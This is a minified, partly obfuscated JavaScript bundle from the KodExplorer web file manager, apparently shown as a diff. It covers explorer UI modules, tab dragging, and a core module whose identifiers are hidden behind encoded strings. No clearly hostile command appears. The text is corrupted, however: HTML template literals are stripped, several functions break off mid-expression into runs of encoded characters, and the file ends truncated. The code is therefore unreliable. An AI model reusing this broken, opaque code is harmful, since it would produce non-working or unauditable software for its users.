n=e[i];n||(n={width:250,left:t}),t+=n.width+1,a.css({width:n.width+"px",left:n.left})};t=0,$(".split-box").each(function(e){a($(this),e)}),t=0,$(".split-line").each(function(e){a($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){i(),r()&&(a=e),o(a),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball-input").css("display","block"),$("#yarnball-input input").focus(),!0});var e=$("#yarnball-input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){ui.path.search($(".header-right input").val(),G.thisPath)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"btn-history-back":ui.path.history.back();break;case"btn-history-next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.thisPath,type:"folder",name:$("ul.yarnball li:last .title-name").html()});break;case"goto-father":o();break;case"setting":core.setting();break;case"search":ui.path.search($(".header-right input").val(),G.thisPath);break;default:}return!0})},t=function(e){var t=G.thisPath;i(G.thisPath),$("#yarnball-input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
      • {$3}
      • ',a='
      • {$3}
      • ';e=e.replace(/\/+/g,"/");var i=e.split("/");""==i[i.length-1]&&i.pop();var n=i[0]+"/",o=t.replace(/@1@/g,n),s=i[0],r="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=i[0]){var l=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",i.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=i.length-1;i.length>d;d++,p--){n+=htmlEncode(i[d])+"/";var o=a.replace(/@1@/g,n);o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(i[d])+""),c+=o}return'
          '+c+"
        "};void 0==e&&$("#yarnball").html(n(t)),a()},a=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var a=e-t;0>=a?$(".yarnball").css("width",t+"px").css("left",a+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},i=function(e){var t=$("#yarnball-input .path");if(void 0==e){var a=t.val();return a=rtrim(core.pathClear(a))+"/"}t.val(e)},n=function(e,a){e=e.replace(/\\/g,"/"),ui.path.list(e),t(a)},o=function(){var e=i();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var a=core.pathFather(e);ui.path.list(a),t()};return{init:e,addressSet:t,resetWidth:a,gotoFather:o}}),define("app/src/explorer/options",[],function(){var e=function(){"0"==_.get(window,"G.userConfig.fileSelect")&&$.addStyle(".file-continer .file .item-select, .file-continer .file .item-menu{display:none !important;}")},t=function(){"0"==_.get(window,"G.userConfig.imageThumb")&&Hook.bind("explorer.list.fileThumb",function(e,t){var a="icon"!=G.userConfig.listType,i=["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"];return inArray(i,t)?"
        "+core.icon(t,a)+"
        ":void 0})};return{init:function(){e(),t()}}}); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","../../common/rightMenu","./ui","./fileContent","../../path/tpl/file/list.html","../../common/tree","../../path/pathOperate","../../path/tpl/fileinfo/fileInfo.html","../../path/tpl/fileinfo/pathInfo.html","../../path/tpl/share.html","../../path/tpl/fileinfo/pathInfoMore.html","../../path/tpl/appEdit.html","../../path/clipboard","../../path/search","../../path/tpl/search.html","../../path/tpl/searchList.html","../../path/path","../../path/tpl/file/create.html","./fileLight","./fileSelect","./fileListResize","./headerAddress","./options"],function(a,b,c){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .file-continer",FileBoxClass:".bodymain .file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .file-continer .title",SelectClass:".bodymain .file-continer .file.select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",TreeId:"folder-list-tree",pageApp:"explorer",treeAjaxURL:"explorer/treeList&app=explorer",AnimateTime:200},a("lib/jquery-lib"),a("lib/util"),a("lib/ztree/ztree"),a("lib/contextMenu/jquery-contextMenu"),a("lib/artDialog/jquery-artDialog"),TaskTap=a("../../common/taskTap"),core=a("../../common/core"),rightMenu=a("../../common/rightMenu"),ui=a("./ui"),ui.tree=a("../../common/tree"),ui.path=a("../../path/path"),ui.fileLight=a("./fileLight"),ui.fileSelect=a("./fileSelect"),ui.fileListResize=a("./fileListResize"),ui.headerAddress=a("./headerAddress"),ui.options=a("./options");$(document).ready(function(){function b(a){var b=new RegExp("(^|&)"+a+"=([^&]*)(&|$)"),c=window.location.search.substr(1).match(b);return null!=c?unescape(c[2]):null}rightMenu.initExplorer(),core.init(),ui.init(),ui.tree.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),TaskTap.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),ui.options.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),a.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),"fileList"==b("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius"))})});;;;;;;define("app/common/taskTap",[],function(a,b){var c={},d="",e=160,f=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(a){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},g=function(a){var b=a.attr("id"),c=$.dialog.list[b];if(void 0==c)return void l(b);var d=$("."+b);"hidden"==d.css("visibility")?c.display(!0).zIndex():d.hasClass("aui-state-focus")?c.display(!1):c.zIndex()},h=function(){var a,b,c,d,f=!1,h=!1,i=0,j=0,k=0,l=0,m=0,n=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(b){1==b.which&&(a=$(this),o(b),this.setCapture&&this.setCapture(),$(document).mousemove(function(a){p(a)}),$(document).one("mouseup",function(b){r(),this.releaseCapture&&this.releaseCapture(),Math.abs(b.pageX-i)<10&&g(a)}))});var o=function(d){f=!0,h=!0,i=d.pageX,$tab_parent=$(".task-tab"),b=$(".task-tab .tab"),$(".tasktab-dragging").remove(),c=a.clone().addClass("tasktab-dragging").prependTo("body"),l=$sizeInt(b.css("margin-right")),m=$tab_parent.width(),n=$tab_parent.get(0).getBoundingClientRect().left,n+=$(window).scrollLeft(),j=a.get(0).getBoundingClientRect().left,k=$sizeInt(b.css("width"));var e=a.get(0).getBoundingClientRect().top-$sizeInt(a.css("margin-top")),g=d.clientX-i+j;$("body").prepend("
        "),c.css({width:k+"px",top:e,left:g}),a.css("opacity",0)},p=function(d){if(h){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==f&&o(d);var e=d.clientX-i+j;n>e||e>n+m-k||(c.css("left",e),b.each(function(b){var c=$(this).get(0).getBoundingClientRect().left;if(e>c&&c+k/2+l>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"left")}if(e>c-k/2+l&&c>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"right")}}))}},q=function(c,f){if(!a.is(":animated")||d!=c){d=c,a.stop(!0,!0),$(".insertTemp").remove(),b=$(".task-tab .tab");var g=a.width(),h=$(".task-tab #"+c),i=a.clone(!0).insertAfter(a).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==f?a.after(h).css("width","0px"):(a.before(h).css("width","0px"),h.before(i)),a.animate({width:g+"px"},e),i.animate({width:"0px"},e,function(){$(this).remove(),b=$(".task-tab .tab")})}},r=function(){h=!1,f=!1,startTime=0,$(".dragMaskView").remove(),void 0!=c&&(j=a.get(0).getBoundingClientRect().left,c.animate({left:j+"px"},e,function(){a.css("opacity",1),$(this).remove()}))}},i=function(a){var b=110,c=b,d=b+12,f=$(".task-tab .tab"),g=$(".task-tab .tabs").width()-10,h=f.length,i=Math.floor(g/d);switch(h>i&&(c=Math.floor(g/h)-12),a){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:c+"px"},e);case"close":f.animate({width:c+"px"},e);break;case"resize":f.css("width",c+"px")}},j=function(a,b){$(".task-tab").removeClass("hidden");var d=b.replace(/<[^>]+>/g,""),e='";$(e).insertBefore(".task-tab .last"),i("add"),c[a]={id:a,name:name}},k=function(a){$(".task-tab .this").removeClass("this"),$(".task-tab #"+a).addClass("this"),d=a},l=function(a){$(".task-tab #"+a).animate({width:0},e,function(){if($(".task-tab #"+a).remove(),i("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var b=31;$(".task-tab").animate({bottom:"-"+b+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete c[a]},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(a,b){var c=b.$trigger.attr("id"),d=$.dialog.list[c];switch(a){case"quit-others":$.each($.dialog.list,function(a,b){c!=a&&b.close()});break;case"quit":d.close()}}})},n=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(a,b){var c=b.$trigger.attr("id");$.dialog.list[c];switch(a){case"showAll":$.each($.dialog.list,function(a,b){b.display(!0)});break;case"hideAll":$.each($.dialog.list,function(a,b){b.display(!1)});break;case"closeAll":$.each($.dialog.list,function(a,b){b.close()})}}})};return{add:j,focus:k,close:l,init:function(){var a='
        ';$(a).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){i("resize")}),f(),m(),n(),h()}}});;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$